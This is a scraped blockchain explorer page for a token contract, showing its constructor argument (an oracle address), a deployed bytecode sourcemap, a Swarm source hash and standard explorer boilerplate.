00000000000000000000000090f80a452c2376ba45869da1d843664e47feed6d

-----Decoded View---------------
Arg [0] : _Oracle (address): 0x90F80A452c2376bA45869Da1D843664e47FEED6d

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000090f80a452c2376ba45869da1d843664e47feed6d


Deployed Bytecode Sourcemap

3979:5204:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8694:178;;;;;;;;;;;;;:::i;:::-;;5186:80;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5608:216;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;5608:216:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;4916:88;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;6768:364;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;6768:364:0;;;;;;;;;;;;;;;;;:::i;1664:103::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;1664:103:0;-1:-1:-1;;;;;1664:103:0;;:::i;5010:80::-;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;6390:206;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;6390:206:0;-1:-1:-1;;;;;6390:206:0;;:::i;6293:89::-;;;;;;;;;;;;;:::i;6169:116::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;6169:116:0;-1:-1:-1;;;;;6169:116:0;;:::i;8884:89::-;;;;;;;;;;;;;:::i;5356:105::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;5356:105:0;-1:-1:-1;;;;;5356:105:0;;:::i;8984:124::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;8984:124:0;;;;;;;;;;:::i;5272:78::-;;;;;;;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;5272:78:0;;;;;;;;;;;;;;4492:29;;;;;;;;;;;;;:::i;6604:156::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;6604:156:0;;;;;;;;:::i;5993:164::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;5993:164:0;;;;;;;;:::i;1457:94::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;1457:94:0;-1:-1:-1;;;;;1457:94:0;;:::i;5872:113::-;;;;;;;;;;;;;:::i;4460:25::-;;;;;;;;;;;;;:::i;5467:133::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;5467:133:0;;;;;;;;;;:::i;1559:97::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;1559:97:0;-1:-1:-1;;;;;1559:97:0;;:::i;1890:173::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;1890:173:0;-1:-1:-1;;;;;1890:173:0;;:::i;4528:35::-;;;;;;;;;;;;;:::i;1775:107::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;1775:107:0;-1:-1:-1;;;;;1775:107:0;;:::i;8694:178::-;1398:24;1411:10;1398:12;:24::i;:::-;1390:48;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;;;;8748:10:::1;:8;:10::i;:::-;8747:11;8739:20;;;::::0;::::1;;8783:12;8770:10;:25:::0;8823:15:::1;8806:14;:32:::0;8849:6:::1;::::0;:15:::1;::::0;;-1:-1:-1;;;8849:15:0;;;;-1:-1:-1;;;;;8849:6:0;;::::1;::::0;:13:::1;::::0;:15:::1;::::0;;::::1;::::0;-1:-1:-1;;8849:15:0;;;;;;;;-1:-1:-1;8849:6:0;:15;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;8694:178::o:0;5186:80::-;5258:5;;;;;;;;;;;;-1:-1:-1;;;5258:5:0;;;;5186:80;:::o;5608:216::-;5712:10;5683:4;5700:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;5700:32:0;;;;;;;;;;;:41;;;5757:37;;;;;;;5683:4;;5700:32;;5712:10;;5757:37;;;;;;;;-1:-1:-1;5812:4:0;5608:216;;;;:::o;4916:88::-;4989:12;;4916:88;:::o;6768:364::-;-1:-1:-1;;;;;6888:19:0;;6868:4;6888:19;;;:11;:19;;;;;;;;6908:10;6888:31;;;;;;;;-1:-1:-1;;6888:46:0;6885:180;;6984:69;;;;;;;;;;;-1:-1:-1;;;6984:69:0;;;;;;;;-1:-1:-1;;;;;6984:19:0;;-1:-1:-1;6984:19:0;;;:11;:19;;;;;7004:10;6984:31;;;;;;;;;;:69;;7020:6;;6984:35;:69::i;:::-;-1:-1:-1;;;;;6950:19:0;;;;;;:11;:19;;;;;;;;6970:10;6950:31;;;;;;;:103;6885:180;7084:40;7098:6;7106:9;7117:6;7084:13;:40::i;:::-;7077:47;6768:364;-1:-1:-1;;;;6768:364:0:o;1664:103::-;1719:4;1754:5;-1:-1:-1;;;;;1754:5:0;;;1743:16;;;;1664:103::o;5010:80::-;4158:1;5010:80;:::o;6390:206::-;1398:24;1411:10;1398:12;:24::i;:::-;1390:48;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;;;;6457:6:::1;:25:::0;;-1:-1:-1;;;;;6457:25:0;;::::1;-1:-1:-1::0;;;;;;6457:25:0;;::::1;::::0;::::1;::::0;;6513:4:::1;6457:6;6493:26:::0;;;:11:::1;:26;::::0;;;;;;;:44;;;;;;;;;-1:-1:-1;;6493:58:0;;6562:13:::1;:22:::0;;;:29;;-1:-1:-1;;6562:29:0::1;6457:25:::0;6562:29:::1;::::0;;6390:206::o;6293:89::-;1398:24;1411:10;1398:12;:24::i;:::-;1390:48;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;;;;6347:6:::1;::::0;:30:::1;::::0;;-1:-1:-1;;;6347:30:0;;6371:4:::1;6347:30;::::0;::::1;::::0;;;-1:-1:-1;;;;;6347:6:0;;::::1;::::0;:15:::1;::::0;:30;;;;;:6:::1;::::0;:30;;;;;;;;:6;;:30;::::1;;::::0;::::1;;;;::::0;::::1;6169:116:::0;6224:4;6248:29;6256:7;-1:-1:-1;;6248:7:0;:29::i;:::-;6241:36;6169:116;-1:-1:-1;;6169:116:0:o;8884:89::-;8953:12;8884:89;:::o;5356:105::-;-1:-1:-1;;;;;5440:18:0;5422:7;5440:18;;;:9;:18;;;;;;;5356:105::o;8984:124::-;1398:24;1411:10;1398:12;:24::i;:::-;1390:48;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;9070:21:0;;;::::1;;::::0;;;:13:::1;:21;::::0;;;;:30;;-1:-1:-1;;9070:30:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8984:124::o;5272:78::-;5324:7;5342:5;-1:-1:-1;;;;;5342:5:0;5272:78;:::o;4492:29::-;;;;:::o;6604:156::-;6684:4;6708:44;6722:10;6734:9;6745:6;6708:13;:44::i;:::-;6701:51;6604:156;-1:-1:-1;;;6604:156:0:o;5993:164::-;6076:10;1398:24;1411:10;1398:12;:24::i;:::-;1390:48;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;-1:-1:-1;;;1390:48:0;;;;;;;;;;;;;;;6106:43:::1;::::0;;-1:-1:-1;;;6106:43:0;;6130:10:::1;6106:43;::::0;::::1;::::0;;;;;;;;;-1:-1:-1;;;;;6106:23:0;::::1;::::0;::::1;::::0;:43;;;;;::::1;::::0;;;;;;;;-1:-1:-1;6106:23:0;:43;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;::::0;::::1;;-1:-1:-1::0;6106:43:0;;5993:164;-1:-1:-1;;;5993:164:0:o;1457:94::-;1308:19;1316:10;1308:7;:19::i;:::-;1300:38;;;;;-1:-1:-1;;;1300:38:0;;;;;;;;;;;;-1:-1:-1;;;1300:38:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;1517:19:0::1;;::::0;;;1539:4:::1;1517:19;::::0;;;;;;;:26;;-1:-1:-1;;1517:26:0::1;::::0;;::::1;::::0;;1457:94::o;5872:113::-;1308:19;1316:10;1308:7;:19::i;:::-;1300:38;;;;;-1:-1:-1;;;1300:38:0;;;;;;;;;;;;-1:-1:-1;;;1300:38:0;;;;;;;;;;;;;;;5926:51:::1;::::0;5934:10:::1;::::0;5955:21:::1;5926:51:::0;::::1;;;::::0;::::1;::::0;;;5955:21;5934:10;5926:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;5872:113::o:0;4460:25::-;;;;:::o;5467:133::-;-1:-1:-1;;;;;5569:19:0;;;5551:7;5569:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;5467:133::o;1559:97::-;1308:19;1316:10;1308:7;:19::i;:::-;1300:38;;;;;-1:-1:-1;;;1300:38:0;;;;;;;;;;;;-1:-1:-1;;;1300:38:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;1621:19:0::1;1643:5;1621:19:::0;;;:14:::1;:19;::::0;;;;:27;;-1:-1:-1;;1621:27:0::1;::::0;;1559:97::o;1890:173::-;1308:19;1316:10;1308:7;:19::i;:::-;1300:38;;;;;-1:-1:-1;;;1300:38:0;;;;;;;;;;;;-1:-1:-1;;;1300:38:0;;;;;;;;;;;;;;;1966:5:::1;:11:::0;;-1:-1:-1;;;;;;1966:11:0::1;-1:-1:-1::0;;;;;1966:11:0;::::1;::::0;;::::1;::::0;;1988:19;;;-1:-1:-1;1988:19:0::1;::::0;;;;;;;;:26;;-1:-1:-1;;1988:26:0::1;::::0;;::::1;::::0;;;2030:25;;;;;;;::::1;::::0;;;;;;;;;::::1;1890:173:::0;:::o;4528:35::-;;;;;;:::o;1775:107::-;-1:-1:-1;;;;;1855:19:0;1831:4;1855:19;;;:14;:19;;;;;;;;;1775:107::o;8596:90::-;8663:10;;:15;;8596:90;:::o;2725:192::-;2811:7;2847:12;2839:6;;;;2831:29;;;;-1:-1:-1;;;2831:29:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;2883:5:0;;;2725:192::o;7140:914::-;7232:4;7252:10;:8;:10::i;:::-;:59;;;;;7296:15;7266:14;;7283:9;7266:26;:45;;7252:59;7249:352;;;7326:6;;;;;;;;;-1:-1:-1;;;;;7326:6:0;-1:-1:-1;;;;;7326:18:0;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;7326:20:0;:44;;;;;7359:11;;7350:6;:20;7326:44;7323:267;;;7382:14;7399:23;7410:11;;7399:6;:10;;:23;;;;:::i;:::-;7480:6;;-1:-1:-1;;;;;7480:6:0;7462:26;;;;:9;:26;;;;;;7382:40;;-1:-1:-1;7462:38:0;;7382:40;7462:30;:38::i;:::-;7451:6;;;-1:-1:-1;;;;;7451:6:0;;;7433:26;;;;:9;:26;;;;;;;;;:67;;;;7541:6;;7516:41;;;;;;;7541:6;;;;7516:41;;;;;;;;;;;;;7577:11;;7568:20;;7323:267;;7641:53;;;;;;;;;;;-1:-1:-1;;;7641:53:0;;;;;;;;-1:-1:-1;;;;;7641:17:0;;-1:-1:-1;7641:17:0;;;:9;:17;;;;;;;;:53;;7663:6;;7641:21;:53::i;:::-;-1:-1:-1;;;;;7621:17:0;;;;;;;:9;:17;;;;;;;;:73;;;;7742:24;;;;;:13;:24;;;;;;;;;7738:154;;7784:25;7802:6;7784:17;:25::i;:::-;:76;;7854:6;7784:76;;;7812:39;7825:6;7833;7841:9;7812:12;:39::i;:::-;7768:92;;7738:154;;;-1:-1:-1;7884:6:0;7738:154;-1:-1:-1;;;;;7925:20:0;;;;;;:9;:20;;;;;;:40;;7950:14;7925:24;:40::i;:::-;-1:-1:-1;;;;;7902:20:0;;;;;;;:9;:20;;;;;;;;;:63;;;;7981:43;;;;;;;7902:20;;7981:43;;;;;;;;;;;;;-1:-1:-1;8042:4:0;;7140:914;-1:-1:-1;;;;7140:914:0:o;2583:136::-;2641:7;2668:43;2672:1;2675;2668:43;;;;;;;;;;;;;;;;;:3;:43::i;2396:181::-;2454:7;2486:5;;;2510:6;;;;2502:46;;;;;-1:-1:-1;;;2502:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;;8062:119;-1:-1:-1;;;;;8152:21:0;8128:4;8152:21;;;:13;:21;;;;;;;;8151:22;;8062:119::o;8189:399::-;8333:6;;:56;;;-1:-1:-1;;;8333:56:0;;;;;;;;-1:-1:-1;;;;;8333:56:0;;;;;;;;;;;;;;8378:10;8333:56;;;;;;8278:7;;;;;;8333:6;;;;;:21;;:56;;;;;;;;;;;8278:7;8333:6;:56;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;8333:56:0;;;;;;;;;-1:-1:-1;8333:56:0;-1:-1:-1;8397:145:0;;;;8457:6;;-1:-1:-1;;;;;8457:6:0;8439:26;;;;:9;:26;;;;;;:41;;8470:9;8439:30;:41::i;:::-;8428:6;;;-1:-1:-1;;;;;8428:6:0;;;8410:26;;;;:9;:26;;;;;;;;;:70;;;;8521:6;;8496:44;;;;;;;8521:6;;;;8496:44;;;;;;;;;;;;;8397:145;8559:21;:6;8570:9;8559:10;:21::i;:::-;8552:28;8189:399;-1:-1:-1;;;;;;8189:399:0:o

Swarm Source

ipfs://fd633bd0ac83d880458e96591e6712f0ccd1e3e217635ac131986b544b63d633
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.